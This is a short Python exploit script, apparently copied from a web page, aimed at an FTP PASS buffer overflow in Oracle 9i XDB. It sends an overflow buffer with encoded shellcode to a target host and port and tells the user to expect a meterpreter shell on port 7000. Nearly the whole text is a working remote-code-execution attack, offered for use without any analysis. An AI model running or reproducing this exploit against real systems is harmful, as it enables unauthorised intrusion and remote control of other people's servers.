|
import sys, socket
if len(sys.argv) != 3:
print "Usage: %s target_ip target_port" % sys.argv[0]
sys.exit()
host = str(sys.argv[1])
port = int(sys.argv[2])
shellcode = (
"\xdb\xc8\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x4b\xbd\xe8\xe3\x74"
"\x4e\x83\xc3\x04\x31\x6b\x16\x03\x6b\x16\xe2\x1d\x1f\x9c\xcc"
"\xdd\xe0\x5d\xb1\x54\x05\x6c\xf1\x02\x4d\xdf\xc1\x41\x03\xec"
"\xaa\x07\xb0\x67\xde\x8f\xb7\xc0\x55\xe9\xf6\xd1\xc6\xc9\x99"
"\x51\x15\x1d\x7a\x6b\xd6\x50\x7b\xac\x0b\x98\x29\x65\x47\x0e"
"\xde\x02\x1d\x92\x55\x58\xb3\x92\x8a\x29\xb2\xb3\x1c\x21\xed"
"\x13\x9e\xe6\x85\x1a\xb8\xeb\xa0\xd5\x33\xdf\x5f\xe4\x95\x11"
"\x9f\x4a\xd8\x9d\x52\x93\x1c\x19\x8d\xe6\x54\x59\x30\xf0\xa2"
"\x23\xee\x75\x31\x83\x65\x2d\x9d\x35\xa9\xab\x56\x39\x06\xb8"
"\x31\x5e\x99\x6d\x4a\x5a\x12\x90\x9d\xea\x60\xb6\x39\xb6\x33"
"\xd7\x18\x12\x95\xe8\x7b\xfd\x4a\x4c\xf7\x10\x9e\xfd\x5a\x7d"
"\x53\xcf\x64\x7d\xfb\x58\x16\x4f\xa4\xf2\xb0\xe3\x2d\xdc\x47"
"\x03\x04\x98\xd8\xfa\xa7\xd8\xf1\x38\xf3\x88\x69\xe8\x7c\x43"
"\x6a\x15\xa9\xf9\x61\xb0\x02\x1f\x88\x28\xa2\xb5\x71\xc5\x4e"
"\x46\xa9\xf5\x70\x8d\xc2\x9e\x8c\x2d\xf6\x06\x18\xcb\x62\xa7"
"\x4c\x44\x1b\x05\xab\x5d\xbc\x76\x99\x24\x82\xfc\x7a\x71\x6b"
"\x48\x93\x45\x94\x49\xb1\xe2\x02\xc2\xd6\x37\x32\xd5\xf2\x10"
"\x23\x42\x88\xf0\x06\xf2\x8d\xd9\xf3\xf4\x1b\xe5\x55\xa2\xb3"
"\xe7\x80\x84\x1b\x18\xe7\x96\x5c\xe6\x76\xb4\x17\xd0\xec\x86"
"\x4f\x1c\xe1\x06\x90\x4a\x6b\x07\xf8\x2a\xcf\x54\x1d\x35\xda"
"\xc8\x8e\xa3\xe5\xb8\x63\x64\x8e\x46\x5d\x42\x11\xb8\x88\xd1"
"\x56\x46\x4d\xd2\xa7\x84\x98\x1a\xd2\xe3\x18")
user = "A" * 10
ret = "\x46\x6d\x61\x60"
prependencoder = "\x81\xc4\xff\xef\xff\xff\x44"
nops = "\x90" * (800 - len(shellcode) - len(prependencoder))
buff = "A" * 442 + "\xeb\x06\x90\x90" + ret + nops + prependencoder + shellcode
print " ++++++++++++++++++++++++++++++++++++++++++++"
print " + Oracle 9i XDB FTP PASS Overflow exploit +"
print " +++++++++++++++++++++++++++++++++++++++++++++"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "Sending %s size payload..." % len(buff)
s.send("USER " + user + "\r\n")
s.send("PASS " + buff + "\r\n")
print "Payload sent...."
print "Check port 7000 for meterpreter shell..."
s.close()
|
推荐
评论(0条)
